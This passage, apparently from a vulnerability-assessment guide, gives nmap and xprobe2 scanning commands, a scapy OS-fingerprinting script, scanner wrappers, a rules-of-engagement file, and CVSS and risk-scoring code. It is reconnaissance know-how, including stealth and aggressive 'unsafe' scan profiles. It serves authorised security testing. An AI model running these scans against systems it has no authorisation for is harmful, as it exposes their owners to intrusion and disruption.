# Light version detection
nmap -sV --version-intensity 0 192.168.1.100
# Aggressive version detection
nmap -sV --version-intensity 9 192.168.1.100
# Version detection with default scripts
nmap -sV -sC 192.168.1.100
# Version detection on specific ports
nmap -sV -p 80,443,22 192.168.1.100
# Version detection with OS fingerprinting
nmap -sV -O 192.168.1.100
# Version detection all ports
nmap -sV -p- 192.168.1.100
# Version detection with traceroute
nmap -sV --traceroute 192.168.1.100
# Version detection with timing template
nmap -sV -T4 192.168.1.100Identifying the operating system helps tailor exploitation attempts.
Nmap OS Fingerprinting:
# Basic OS detection
nmap -O 192.168.1.100
# OS detection with version detection
nmap -O -sV 192.168.1.100
# Aggressive OS detection
nmap -O --osscan-guess 192.168.1.100
# Limit ports for OS detection
nmap -O --osscan-limit 192.168.1.100
# Max OS detection attempts
nmap -O --max-os-tries 3 192.168.1.100
# OS detection with verbosity
nmap -O -v 192.168.1.100OS Fingerprinting with Xprobe2:
# Install xprobe2
apt install xprobe2
# Basic fingerprinting
xprobe2 192.168.1.100
# With specific ports
xprobe2 -p tcp:80:open 192.168.1.100
# Verbose mode
xprobe2 -v 192.168.1.100
# XML output
xprobe2 -o xml 192.168.1.100Custom OS Fingerprinting:
#!/usr/bin/env python3
# os_fingerprint.py
from scapy.all import *
import sys
class OSFingerprinter:
def __init__(self, target):
self.target = target
self.results = {}
def ttl_fingerprint(self):
"""Fingerprint based on TTL values"""
try:
# Send ICMP packet
packet = IP(dst=self.target)/ICMP()
reply = sr1(packet, timeout=2, verbose=0)
if reply:
ttl = reply.ttl
self.results['ttl'] = ttl
# Guess OS based on TTL
if ttl <= 64:
return "Linux/Unix (TTL <= 64)"
elif ttl <= 128:
return "Windows (TTL <= 128)"
elif ttl <= 255:
return "Network device (TTL <= 255)"
else:
return f"Unknown (TTL: {ttl})"
except:
pass
return "No ICMP response"
def tcp_window_fingerprint(self):
"""Fingerprint based on TCP window size"""
try:
# Send SYN packet
packet = IP(dst=self.target)/TCP(dport=80, flags='S')
reply = sr1(packet, timeout=2, verbose=0)
if reply and TCP in reply:
window = reply[TCP].window
ttl = reply.ttl
self.results['tcp_window'] = window
# Known window sizes
if window == 5840 and ttl <= 64:
return "Linux 2.4/2.6"
elif window == 8192:
return "Windows"
elif window == 65535:
return "Solaris/AIX"
elif window == 16384:
return "Windows 10/Server 2016"
elif window == 29200:
return "Linux 3.x/4.x"
except:
pass
return "Unknown"
def tcp_options_fingerprint(self):
"""Fingerprint based on TCP options"""
try:
packet = IP(dst=self.target)/TCP(dport=80, flags='S')
reply = sr1(packet, timeout=2, verbose=0)
if reply and TCP in reply:
options = reply[TCP].options
self.results['tcp_options'] = options
return str(options)
except:
pass
return "No TCP options"
def nmap_syn_scan(self):
"""Simulate nmap-style SYN scan fingerprinting"""
results = []
# Test different ports to see response patterns
ports = [20, 21, 22, 23, 25, 53, 80, 443]
for port in ports:
packet = IP(dst=self.target)/TCP(dport=port, flags='S')
reply = sr1(packet, timeout=1, verbose=0)
if reply:
if TCP in reply:
if reply[TCP].flags == 0x12: # SYN-ACK
results.append(f"Port {port}: Open (SYN-ACK)")
elif reply[TCP].flags == 0x14: # RST-ACK
results.append(f"Port {port}: Closed (RST-ACK)")
else:
# No response - could be filtered
pass
return results
def fingerprint(self):
"""Perform comprehensive OS fingerprinting"""
print(f"[+] Fingerprinting OS for {self.target}")
# TTL fingerprinting
ttl_os = self.ttl_fingerprint()
print(f" TTL analysis: {ttl_os}")
# TCP window fingerprinting
window_os = self.tcp_window_fingerprint()
if window_os != "Unknown":
print(f" TCP window analysis: {window_os}")
# TCP options
options = self.tcp_options_fingerprint()
print(f" TCP options: {options}")
# Port scan patterns
patterns = self.nmap_syn_scan()
if patterns:
print("\n Port response patterns:")
for p in patterns[:5]:
print(f" {p}")
return self.results
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: os_fingerprint.py <target>")
sys.exit(1)
target = sys.argv[1]
fingerprinter = OSFingerprinter(target)
fingerprinter.fingerprint()Vulnerability scanning identifies known weaknesses in target systems.
# Run all vulnerability scripts
nmap --script vuln 192.168.1.100
# Specific vulnerability checks
nmap --script http-vuln* 192.168.1.100
nmap --script smb-vuln* 192.168.1.100
nmap --script ssl-* 192.168.1.100
# Check for heartbleed
nmap --script ssl-heartbleed -p 443 192.168.1.100
# Check for shellshock
nmap --script http-shellshock -p 80 192.168.1.100
# Check for eternalblue
nmap --script smb-vuln-ms17-010 -p 445 192.168.1.100
# Check for default credentials
nmap --script http-default-accounts 192.168.1.100#!/usr/bin/env python3
# vuln_scanner.py
import subprocess
import json
import sys
import os
from datetime import datetime
class VulnerabilityScanner:
def __init__(self, target):
self.target = target
self.results = {
'target': target,
'timestamp': datetime.now().isoformat(),
'nmap_vulns': [],
'nikto_results': [],
'wpscan_results': None
}
def run_nmap_vuln(self):
"""Run nmap vulnerability scripts"""
print(f"[+] Running nmap vulnerability scan on {self.target}")
output_file = f"nmap_vuln_{self.target}.xml"
try:
cmd = ['nmap', '-sV', '--script', 'vuln', '-oX', output_file, self.target]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
# Parse XML output
import xml.etree.ElementTree as ET
tree = ET.parse(output_file)
root = tree.getroot()
vulns = []
for host in root.findall('host'):
for script in host.findall('.//script'):
vulns.append({
'id': script.get('id'),
'output': script.get('output')
})
self.results['nmap_vulns'] = vulns
print(f" Found {len(vulns)} potential vulnerabilities")
except Exception as e:
print(f" Error: {e}")
return self.results['nmap_vulns']
def run_nikto(self):
"""Run Nikto web scanner"""
print(f"[+] Running Nikto scan on {self.target}")
output_file = f"nikto_{self.target}.json"
try:
cmd = ['nikto', '-h', self.target, '-Format', 'json', '-o', output_file]
result = subprocess.run(cmd, capture_output=True, text=True)
if os.path.exists(output_file):
with open(output_file, 'r') as f:
data = json.load(f)
self.results['nikto_results'] = data
print(f" Nikto scan complete")
except Exception as e:
print(f" Error: {e}")
def check_web_technologies(self):
"""Check web technologies with whatweb"""
print(f"[+] Identifying web technologies")
try:
cmd = ['whatweb', '-a', '3', self.target]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
self.results['web_technologies'] = result.stdout.strip()
print(f" {result.stdout.strip()[:200]}...")
except Exception as e:
print(f" Error: {e}")
def check_ssl(self):
"""Check SSL/TLS configuration"""
print(f"[+] Checking SSL/TLS")
try:
# Check with testssl.sh if available
if os.path.exists('/usr/bin/testssl'):
cmd = ['testssl', '--quiet', '--jsonfile', f"ssl_{self.target}.json", self.target]
result = subprocess.run(cmd, capture_output=True, text=True)
except Exception as e:
print(f" Error: {e}")
def generate_report(self):
"""Generate vulnerability report"""
print("\n" + "="*60)
print(f"VULNERABILITY SCAN REPORT: {self.target}")
print("="*60)
if self.results['nmap_vulns']:
print(f"\n[+] Nmap Vulnerabilities ({len(self.results['nmap_vulns'])}):")
for vuln in self.results['nmap_vulns'][:10]:
print(f" - {vuln['id']}")
output = vuln['output'][:100] + '...' if len(vuln['output']) > 100 else vuln['output']
print(f" {output}")
if len(self.results['nmap_vulns']) > 10:
print(f" ... and {len(self.results['nmap_vulns'])-10} more")
if self.results['web_technologies']:
print(f"\n[+] Web Technologies:")
print(f" {self.results['web_technologies']}")
print("\n" + "="*60)
def save_results(self, filename):
"""Save results to file"""
with open(filename, 'w') as f:
json.dump(self.results, f, indent=2)
print(f"\n[+] Results saved to {filename}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: vuln_scanner.py <target>")
print("Example: vuln_scanner.py example.com")
sys.exit(1)
target = sys.argv[1]
scanner = VulnerabilityScanner(target)
scanner.run_nmap_vuln()
scanner.run_nikto()
scanner.check_web_technologies()
scanner.check_ssl()
scanner.generate_report()
scanner.save_results(f"{target}_vuln_scan.json")Vulnerability assessment is the systematic process of identifying, classifying, and prioritizing security weaknesses in systems, applications, and network infrastructure. Unlike penetration testing, which actively exploits vulnerabilities, vulnerability assessment focuses on discovery and measurement.
A comprehensive vulnerability assessment follows a structured lifecycle that ensures thorough coverage and actionable results.
The planning phase establishes the foundation for a successful assessment:
Scope Definition:
- Asset inventory: Identify all systems, applications, and networks to be assessed
- IP ranges: Specify exact IP addresses, CIDR ranges, or domain names
- Exclusions: Document systems that should NOT be scanned (critical production, third-party hosted)
- Time windows: Define acceptable scanning hours (maintenance windows, off-peak hours)
- Authentication requirements: Identify systems requiring authenticated scanning
Rules of Engagement:
# rules_of_engagement.yaml
assessment:
name: "Q3 Infrastructure Security Assessment"
client: "Example Corp"
duration: "2024-09-01 to 2024-09-15"
scope:
networks:
- "10.10.10.0/24"
- "192.168.1.0/24"
exceptions:
- "10.10.10.100" # Production database
- "192.168.1.50" # Critical ERP system
testing_windows:
- "Monday-Friday: 18:00-06:00"
- "Saturday-Sunday: 00:00-24:00"
auth_credentials:
windows_domain: "internal\\scanner_account"
linux_sudo: "scanuser"
notification_procedures:
pre_scan: "72 hours notice to IT team"
critical_findings: "Immediate phone call"
regular_updates: "Daily status email"Stakeholder Communication:
- IT operations team for network access and whitelisting
- System owners for application credentials
- Security team for incident response coordination
- Legal department for compliance requirements
- Management for resource allocation and prioritization
Building on reconnaissance from Part III, this phase creates a comprehensive asset inventory:
Automated Discovery Script:
#!/usr/bin/env python3
# asset_discovery.py
import subprocess
import json
import ipaddress
import socket
from concurrent.futures import ThreadPoolExecutor
import datetime
class AssetDiscovery:
def __init__(self, networks, exclude_list=None):
self.networks = [ipaddress.ip_network(net) for net in networks]
self.exclude = exclude_list or []
self.assets = {
'hosts': [],
'live_hosts': [],
'open_ports': {},
'services': {},
'os_versions': {}
}
def ping_sweep(self, network):
"""Discover live hosts using ping"""
live_hosts = []
print(f"[*] Scanning network {network}")
for ip in network.hosts():
if str(ip) in self.exclude:
continue
try:
result = subprocess.run(
['ping', '-c', '1', '-W', '1', str(ip)],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=2
)
if result.returncode == 0:
live_hosts.append(str(ip))
print(f" Found live host: {ip}")
except:
pass
return live_hosts
def arp_scan_local(self, interface='eth0'):
"""ARP scan for local network discovery"""
try:
result = subprocess.run(
['arp-scan', '--local', '--interface', interface],
capture_output=True,
text=True,
timeout=30
)
hosts = []
for line in result.stdout.split('\n'):
if '\t' in line:
parts = line.split('\t')
if len(parts) >= 2:
ip = parts[0]
mac = parts[1]
hosts.append({'ip': ip, 'mac': mac})
return hosts
except Exception as e:
print(f"ARP scan error: {e}")
return []
def dns_lookup(self, ip):
"""Perform reverse DNS lookup"""
try:
hostname = socket.gethostbyaddr(ip)[0]
return hostname
except:
return None
def discover_all(self):
"""Run complete discovery across all networks"""
all_live = []
with ThreadPoolExecutor(max_workers=5) as executor:
futures = [executor.submit(self.ping_sweep, net) for net in self.networks]
for future in futures:
all_live.extend(future.result())
# Deduplicate and sort
self.assets['live_hosts'] = sorted(set(all_live))
# Perform DNS lookups
for ip in self.assets['live_hosts']:
hostname = self.dns_lookup(ip)
if hostname:
self.assets['hosts'].append({
'ip': ip,
'hostname': hostname
})
else:
self.assets['hosts'].append({
'ip': ip,
'hostname': None
})
return self.assets
def save_inventory(self, filename):
"""Save asset inventory to file"""
self.assets['timestamp'] = datetime.datetime.now().isoformat()
self.assets['total_hosts'] = len(self.assets['live_hosts'])
with open(filename, 'w') as f:
json.dump(self.assets, f, indent=2)
print(f"\n[+] Asset inventory saved to {filename}")
print(f" Total live hosts: {self.assets['total_hosts']}")
# Example usage
if __name__ == "__main__":
networks = ['192.168.1.0/24', '10.10.10.0/24']
exclude = ['192.168.1.100']
discovery = AssetDiscovery(networks, exclude)
assets = discovery.discover_all()
discovery.save_inventory(f"assets_{datetime.datetime.now().strftime('%Y%m%d')}.json")The scanning phase actively probes systems for known vulnerabilities:
Scan Strategy Development:
#!/usr/bin/env python3
# scan_strategy.py
import json
import nmap
from typing import Dict, List
class ScanStrategy:
def __init__(self, target_list):
self.targets = target_list
self.nm = nmap.PortScanner()
self.strategies = {
'quick': self.quick_scan,
'comprehensive': self.comprehensive_scan,
'stealth': self.stealth_scan,
'aggressive': self.aggressive_scan
}
def quick_scan(self, target):
"""Quick scan for common vulnerabilities"""
print(f"[*] Quick scan of {target}")
args = '-sV -T4 -F --script vuln --script-timeout 5m'
self.nm.scan(target, arguments=args)
return self.nm[target]
def comprehensive_scan(self, target):
"""Comprehensive vulnerability scan"""
print(f"[*] Comprehensive scan of {target}")
args = '-sV -sC -O -T4 -p- --script "(vuln or exploit or discovery)" --script-timeout 10m'
self.nm.scan(target, arguments=args)
return self.nm[target]
def stealth_scan(self, target):
"""Stealthy scan to avoid detection"""
print(f"[*] Stealth scan of {target}")
args = '-sS -T2 --max-retries 1 --min-rate 50 --script "(safe or default)"'
self.nm.scan(target, arguments=args)
return self.nm[target]
def aggressive_scan(self, target):
"""Aggressive scan for in-depth analysis"""
print(f"[*] Aggressive scan of {target}")
args = '-sV -A -T4 -p- --script "(vuln or exploit or discovery)" --script-args=unsafe=1'
self.nm.scan(target, arguments=args)
return self.nm[target]
def select_strategy(self, target_type: str) -> str:
"""Select appropriate scan strategy based on target type"""
strategies = {
'web_server': 'comprehensive',
'database': 'stealth',
'workstation': 'quick',
'firewall': 'stealth',
'domain_controller': 'stealth',
'unknown': 'quick'
}
return strategies.get(target_type, 'quick')
def categorize_target(self, target_info: Dict) -> str:
"""Categorize target based on open ports and services"""
categories = []
if 80 in target_info.get('tcp', {}) or 443 in target_info.get('tcp', {}):
categories.append('web_server')
if 3306 in target_info.get('tcp', {}) or 5432 in target_info.get('tcp', {}):
categories.append('database')
if 445 in target_info.get('tcp', {}) or 139 in target_info.get('tcp', {}):
categories.append('windows_host')
if 22 in target_info.get('tcp', {}):
categories.append('linux_host')
return categories[0] if categories else 'unknown'
def execute_strategy(self, target, strategy=None):
"""Execute selected scan strategy"""
if not strategy:
# Need initial port scan to categorize
quick = self.quick_scan(target)
target_type = self.categorize_target(quick)
strategy = self.select_strategy(target_type)
print(f"[+] Using {strategy} strategy for {target}")
return self.strategies[strategy](target)
# Usage
scanner = ScanStrategy(['192.168.1.100', '192.168.1.101'])
for target in scanner.targets:
results = scanner.execute_strategy(target)
# Process resultsScan Scheduling and Prioritization:
#!/usr/bin/env python3
# scan_scheduler.py
import schedule
import time
import logging
from datetime import datetime
import json
class ScanScheduler:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.setup_logging()
def setup_logging(self):
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('scan_scheduler.log'),
logging.StreamHandler()
]
)
def scan_high_priority(self):
"""Scan high-priority assets"""
logging.info("Starting high-priority asset scan")
targets = self.config['priority_assets']['high']
self.run_scan(targets, 'comprehensive')
def scan_medium_priority(self):
"""Scan medium-priority assets"""
logging.info("Starting medium-priority asset scan")
targets = self.config['priority_assets']['medium']
self.run_scan(targets, 'quick')
def scan_low_priority(self):
"""Scan low-priority assets"""
logging.info("Starting low-priority asset scan")
targets = self.config['priority_assets']['low']
self.run_scan(targets, 'quick')
def weekly_full_scan(self):
"""Run comprehensive weekly scan"""
logging.info("Starting weekly full scan")
all_targets = (self.config['priority_assets']['high'] +
self.config['priority_assets']['medium'] +
self.config['priority_assets']['low'])
self.run_scan(all_targets, 'comprehensive')
def run_scan(self, targets, strategy):
"""Execute scan with specified strategy"""
logging.info(f"Scanning {len(targets)} targets with {strategy} strategy")
# Implementation would call actual scanning tools
for target in targets:
logging.info(f" Scanning {target}")
# scan logic here
logging.info("Scan complete")
def schedule_scans(self):
"""Configure scan schedule"""
# High priority - daily at 2 AM
schedule.every().day.at("02:00").do(self.scan_high_priority)
# Medium priority - every 3 days at 3 AM
schedule.every(3).days.at("03:00").do(self.scan_medium_priority)
# Low priority - weekly on Sunday at 4 AM
schedule.every().sunday.at("04:00").do(self.scan_low_priority)
# Full scan - monthly on 1st at 1 AM
schedule.every().day.at("01:00").do(self.weekly_full_scan) \
if datetime.now().day == 1 else None
logging.info("Scan schedule configured")
def run(self):
"""Main scheduler loop"""
self.schedule_scans()
logging.info("Scan scheduler started")
while True:
schedule.run_pending()
time.sleep(60) # Check every minute
# Configuration file
config_example = {
"priority_assets": {
"high": [
"192.168.1.10", # Domain controller
"192.168.1.20", # Critical web server
"10.10.10.5" # Database server
],
"medium": [
"192.168.1.30-50", # User workstations
"10.10.10.10-20" # Application servers
],
"low": [
"192.168.1.100-150", # Development machines
"10.10.20.0/24" # Test network
]
},
"scan_windows": {
"high": "02:00-04:00",
"medium": "03:00-05:00",
"low": "04:00-06:00"
}
}
# if __name__ == "__main__":
# scheduler = ScanScheduler('scan_config.json')
# scheduler.run()The Common Vulnerability Scoring System (CVSS) provides a standardized method for rating vulnerability severity.
Base Metric Group:
#!/usr/bin/env python3
# cvss_calculator.py
class CVSSCalculator:
def __init__(self):
self.base_metrics = {}
self.temporal_metrics = {}
self.environmental_metrics = {}
def calculate_base_score(self, metrics):
"""
Calculate CVSS v3.1 Base Score
Metrics dictionary should contain:
- AV (Attack Vector): N, A, L, P
- AC (Attack Complexity): L, H
- PR (Privileges Required): N, L, H
- UI (User Interaction): N, R
- S (Scope): U, C
- C (Confidentiality): H, L, N
- I (Integrity): H, L, N
- A (Availability): H, L, N
"""
# Metric values (CVSS v3.1)
av_values = {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.2}
ac_values = {'L': 0.77, 'H': 0.44}
pr_values = {
'N': 0.85, # None
'L': {'U': 0.68, 'C': 0.62}, # Low (depending on scope)
'H': {'U': 0.5, 'C': 0.27} # High (depending on scope)
}
ui_values = {'N': 0.85, 'R': 0.62}
impact_values = {'H': 0.56, 'L': 0.22, 'N': 0}
# Extract metrics
av = metrics.get('AV', 'N')
ac = metrics.get('AC', 'L')
pr = metrics.get('PR', 'N')
ui = metrics.get('UI', 'N')
s = metrics.get('S', 'U') # Scope
c = metrics.get('C', 'N')
i = metrics.get('I', 'N')
a = metrics.get('A', 'N')
# Calculate Exploitability
exploitability = 8.22 * av_values[av] * ac_values[ac] * \
(pr_values[pr][s] if pr != 'N' else pr_values[pr]) * \
ui_values[ui]
# Calculate Impact
impact = 1 - ((1 - impact_values[c]) *
(1 - impact_values[i]) *
(1 - impact_values[a]))
# Scope adjustment
if s == 'U': # Unchanged
impact_sub = 6.42 * impact
else: # Changed
impact_sub = 7.52 * (impact - 0.029) - 3.25 * (impact - 0.02) ** 15
# Base Score
if impact_sub <= 0:
base_score = 0
else:
if s == 'U':
base_score = min(impact_sub + exploitability, 10)
else:
base_score = min(1.08 * (impact_sub + exploitability), 10)
# Round to 1 decimal
base_score = round(base_score * 10) / 10
# Severity rating
severity = self.get_severity_rating(base_score)
return {
'base_score': base_score,
'severity': severity,
'exploitability': round(exploitability, 2),
'impact': round(impact_sub, 2),
'vector': self.build_vector(metrics)
}
def get_severity_rating(self, score):
"""Convert CVSS score to severity rating"""
if score == 0:
return "None"
elif score < 4:
return "Low"
elif score < 7:
return "Medium"
elif score < 9:
return "High"
else:
return "Critical"
def build_vector(self, metrics):
"""Build CVSS vector string"""
vector = "CVSS:3.1/"
vector += f"AV:{metrics.get('AV', 'N')}/"
vector += f"AC:{metrics.get('AC', 'L')}/"
vector += f"PR:{metrics.get('PR', 'N')}/"
vector += f"UI:{metrics.get('UI', 'N')}/"
vector += f"S:{metrics.get('S', 'U')}/"
vector += f"C:{metrics.get('C', 'N')}/"
vector += f"I:{metrics.get('I', 'N')}/"
vector += f"A:{metrics.get('A', 'N')}"
return vector
def calculate_temporal_score(self, base_score, temporal_metrics):
"""Adjust score based on temporal factors"""
e_values = {'X': 1.0, 'U': 0.91, 'P': 0.94, 'F': 0.97, 'H': 1.0}
rl_values = {'X': 1.0, 'O': 0.95, 'T': 0.96, 'W': 0.97}
rc_values = {'X': 1.0, 'U': 0.92, 'R': 0.96, 'C': 1.0}
e = temporal_metrics.get('E', 'X')
rl = temporal_metrics.get('RL', 'X')
rc = temporal_metrics.get('RC', 'X')
temporal_score = base_score * e_values[e] * rl_values[rl] * rc_values[rc]
return round(temporal_score * 10) / 10
def calculate_environmental_score(self, base_score, modified_metrics):
"""Adjust score based on environmental factors"""
# Similar calculation with modified base metrics
# and environmental metrics (CR, IR, AR, MAV, MAC, etc.)
return base_score # Placeholder
# Example usage
calculator = CVSSCalculator()
# Example: Remote code execution in web application
metrics = {
'AV': 'N', # Network
'AC': 'L', # Low complexity
'PR': 'N', # No privileges required
'UI': 'N', # No user interaction
'S': 'U', # Unchanged scope
'C': 'H', # High confidentiality impact
'I': 'H', # High integrity impact
'A': 'H' # High availability impact
}
result = calculator.calculate_base_score(metrics)
print(f"CVSS Score: {result['base_score']} - {result['severity']}")
print(f"Vector: {result['vector']}")
print(f"Exploitability: {result['exploitability']}")
print(f"Impact: {result['impact']}")
# Output:
# CVSS Score: 9.8 - Critical
# Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Exploitability: 3.9
# Impact: 5.9Automated CVSS Assignment:
#!/usr/bin/env python3
# vulnerability_scoring.py
import csv
import json
from typing import Dict, List
class VulnerabilityScorer:
def __init__(self):
self.cvss_calc = CVSSCalculator()
self.vulnerabilities = []
def analyze_finding(self, finding: Dict) -> Dict:
"""Analyze a vulnerability finding and assign CVSS score"""
# Determine metrics based on vulnerability type
if 'sql_injection' in finding.get('type', ''):
metrics = {
'AV': 'N', # Network
'AC': 'L', # Low - SQL injection often easy
'PR': 'L', # Low - often needs some privileges
'UI': 'N', # None - automated
'S': 'C', # Changed - can affect other resources
'C': 'H', # High - can access database
'I': 'H', # High - can modify database
'A': 'L' # Low - availability usually not affected
}
elif 'xss' in finding.get('type', ''):
if finding.get('context') == 'reflected':
metrics = {
'AV': 'N', 'AC': 'L', 'PR': 'N', 'UI': 'R',
'S': 'C', 'C': 'L', 'I': 'L', 'A': 'N'
}
elif finding.get('context') == 'stored':
metrics = {
'AV': 'N', 'AC': 'L', 'PR': 'N', 'UI': 'R',
'S': 'C', 'C': 'L', 'I': 'L', 'A': 'N'
}
elif 'buffer_overflow' in finding.get('type', ''):
if finding.get('privileges') == 'remote':
metrics = {
'AV': 'N', 'AC': 'H', 'PR': 'N', 'UI': 'N',
'S': 'C', 'C': 'H', 'I': 'H', 'A': 'H'
}
else:
metrics = {
'AV': 'L', 'AC': 'H', 'PR': 'L', 'UI': 'N',
'S': 'C', 'C': 'H', 'I': 'H', 'A': 'H'
}
else:
# Default to medium severity
metrics = {
'AV': 'N', 'AC': 'L', 'PR': 'L', 'UI': 'N',
'S': 'U', 'C': 'L', 'I': 'L', 'A': 'L'
}
# Calculate score
score = self.cvss_calc.calculate_base_score(metrics)
finding['cvss_score'] = score['base_score']
finding['cvss_severity'] = score['severity']
finding['cvss_vector'] = score['vector']
return finding
def batch_score(self, findings_file: str) -> List[Dict]:
"""Score multiple findings from file"""
with open(findings_file, 'r') as f:
findings = json.load(f)
scored = []
for finding in findings:
scored_finding = self.analyze_finding(finding)
scored.append(scored_finding)
# Sort by CVSS score
scored.sort(key=lambda x: x['cvss_score'], reverse=True)
return scored
def generate_score_report(self, scored_findings: List[Dict], output_file: str):
"""Generate detailed scoring report"""
report = {
'summary': {
'total_findings': len(scored_findings),
'critical': len([f for f in scored_findings if f['cvss_score'] >= 9]),
'high': len([f for f in scored_findings if 7 <= f['cvss_score'] < 9]),
'medium': len([f for f in scored_findings if 4 <= f['cvss_score'] < 7]),
'low': len([f for f in scored_findings if 0 < f['cvss_score'] < 4]),
'none': len([f for f in scored_findings if f['cvss_score'] == 0])
},
'findings': scored_findings
}
with open(output_file, 'w') as f:
json.dump(report, f, indent=2)
return report
# Example usage
scorer = VulnerabilityScorer()
sample_finding = {
'name': 'SQL Injection in login form',
'type': 'sql_injection',
'location': 'https://example.com/login.php',
'parameter': 'username',
'context': 'authenticated'
}
scored = scorer.analyze_finding(sample_finding)
print(json.dumps(scored, indent=2))Risk scoring combines vulnerability severity with business context to prioritize remediation efforts.
Risk = Likelihood × Impact
#!/usr/bin/env python3
# risk_scoring.py
import json
from enum import Enum
class Likelihood(Enum):
VERY_LOW = 1
LOW = 2
MEDIUM = 3
HIGH = 4
VERY_HIGH = 5
class Impact(Enum):
VERY_LOW = 1
LOW = 2
MEDIUM = 3
HIGH = 4
VERY_HIGH = 5
class RiskCalculator:
def __init__(self):
self.risk_matrix = self.build_risk_matrix()
def build_risk_matrix(self):
"""Build 5x5 risk matrix"""
matrix = {}
for l in Likelihood:
for i in Impact:
risk_score = l.value * i.value
if risk_score <= 5:
level = "Low"
elif risk_score <= 12:
level = "Medium"
elif risk_score <= 19:
level = "High"
else:
level = "Critical"
matrix[(l.name, i.name)] = {
'score': risk_score,
'level': level
}
return matrix
def calculate_likelihood(self, vulnerability_data):
"""Calculate likelihood based on multiple factors"""
score = 0
factors = []
# Exploit availability
if vulnerability_data.get('exploit_available'):
score += 2
factors.append("Exploit available (+2)")
if vulnerability_data.get('exploit_public'):
score += 1
factors.append("Public exploit (+1)")
# Attack complexity
complexity = vulnerability_data.get('attack_complexity', 'medium')
if complexity == 'low':
score += 2
factors.append("Low attack complexity (+2)")
elif complexity == 'high':
score -= 1
factors.append("High attack complexity (-1)")
# Required privileges
privileges = vulnerability_data.get('required_privileges', 'none')
if privileges == 'none':
score += 2
factors.append("No privileges required (+2)")
elif privileges == 'low':
score += 1
factors.append("Low privileges required (+1)")
# Attack vector
vector = vulnerability_data.get('attack_vector', 'network')
if vector == 'network':
score += 2
factors.append("Network attack vector (+2)")
elif vector == 'adjacent':
score += 1
factors.append("Adjacent network (+1)")
# Convert score to likelihood category
if score >= 8:
likelihood = Likelihood.VERY_HIGH
elif score >= 6:
likelihood = Likelihood.HIGH
elif score >= 4:
likelihood = Likelihood.MEDIUM
elif score >= 2:
likelihood = Likelihood.LOW
else:
likelihood = Likelihood.VERY_LOW
return likelihood, factors
def calculate_impact(self, asset_data, vulnerability_data):
"""Calculate business impact based on asset criticality and vulnerability impact"""
score = 0
factors = []
# Asset criticality
criticality = asset_data.get('criticality', 'medium')
if criticality == 'high':
score += 3
factors.append("High-value asset (+3)")
elif criticality == 'medium':
score += 2
factors.append("Medium-value asset (+2)")
elif criticality == 'low':
score += 1
factors.append("Low-value asset (+1)")
# Data sensitivity
data_type = asset_data.get('data_type', 'public')
if data_type == 'pii':
score += 3
factors.append("PII data (+3)")
elif data_type == 'internal':
score += 2
factors.append("Internal data (+2)")
elif data_type == 'public':
score += 1
factors.append("Public data (+1)")
# Vulnerability impact on CIA
cia_impact = vulnerability_data.get('cia_impact', {})
if cia_impact.get('confidentiality') == 'high':
score += 2
factors.append("High confidentiality impact (+2)")
if cia_impact.get('integrity') == 'high':
score += 2
factors.append("High integrity impact (+2)")
if cia_impact.get('availability') == 'high':
score += 2
factors.append("High availability impact (+2)")
# Regulatory compliance
if asset_data.get('regulated', False):
score += 2
factors.append("Regulated asset (+2)")
# Convert score to impact category
if score >= 12:
impact = Impact.VERY_HIGH
elif score >= 9:
impact = Impact.HIGH
elif score >= 6:
impact = Impact.MEDIUM
elif score >= 3:
impact = Impact.LOW
else:
impact = Impact.VERY_LOW
return impact, factors
def calculate_risk(self, vulnerability, asset):
"""Calculate overall risk score"""
likelihood, l_factors = self.calculate_likelihood(vulnerability)
impact, i_factors = self.calculate_impact(asset, vulnerability)
risk_info = self.risk_matrix[(likelihood.name, impact.name)]
return {
'risk_score': risk_info['score'],
'risk_level': risk_info['level'],
'likelihood': {
'level': likelihood.name,
'score': likelihood.value,
'factors': l_factors
},
'impact': {
'level': impact.name,
'score': impact.value,
'factors': i_factors
},
'recommendation': self.get_recommendation(risk_info['level'])
}
def get_recommendation(self, risk_level):
"""Get remediation recommendation based on risk level"""
recommendations = {
'Critical': "Immediate remediation required. Address within 24-48 hours.",
'High': "Remediate within 1 week. Prioritize in next sprint.",
'Medium': "Remediate within 30 days. Add to project backlog.",
'Low': "Remediate as time permits. Monitor for changes."
}
return recommendations.get(risk_level, "Review and assess")
# Example usage
calculator = RiskCalculator()
# Example vulnerability
vuln = {
'exploit_available': True,
'exploit_public': True,
'attack_complexity': 'low',
'required_privileges': 'none',
'attack_vector': 'network',
'cia_impact': {
'confidentiality': 'high',
'integrity': 'high',
'availability': 'low'
}
}
# Example asset
asset = {
'criticality': 'high',
'data_type': 'pii',
'regulated': True
}
risk = calculator.calculate_risk(vuln, asset)
print(json.dumps(risk, indent=2))#!/usr/bin/env python3
# asset_prioritization.py
class AssetPrioritizer:
def __init__(self):
self.asset_register = {}
def calculate_asset_value(self, asset):
"""Calculate asset business value"""
value = 0
factors = []
# Business function
function_weights = {
'domain_controller': 10,
'database_server': 9,
'application_server': 8,
'web_server': 7,
'file_server': 6,
'workstation': 4,
'development': 3,
'test': 2
}
function = asset.get('function', 'unknown')
value += function_weights.get(function, 1)
factors.append(f"Function: {function} (+{function_weights.get(function, 1)})")
# Data classification
data_weights = {
'pii': 10,
'phi': 10,
'financial': 9,
'intellectual_property': 8,
'internal': 5,
'public': 1
}
data_type = asset.get('data_type', 'public')
value += data_weights.get(data_type, 1)
factors.append(f"Data: {data_type} (+{data_weights.get(data_type, 1)})")
# Users/dependencies
users = asset.get('user_count', 0)
if users > 1000:
value += 5
factors.append(f"Users: {users}+ (+5)")
elif users > 100:
value += 3
factors.append(f"Users: {users}+ (+3)")
elif users > 10:
value += 1
factors.append(f"Users: {users}+ (+1)")
# External exposure
if asset.get('internet_facing', False):
value += 3
factors.append("Internet facing (+3)")
# Regulatory compliance
if asset.get('regulated', False):
value += 5
factors.append("Regulated (+5)")
return value, factors
def prioritize_assets(self, assets):
"""Prioritize assets by business value"""
prioritized = []
for asset in assets:
value, factors = self.calculate_asset_value(asset)
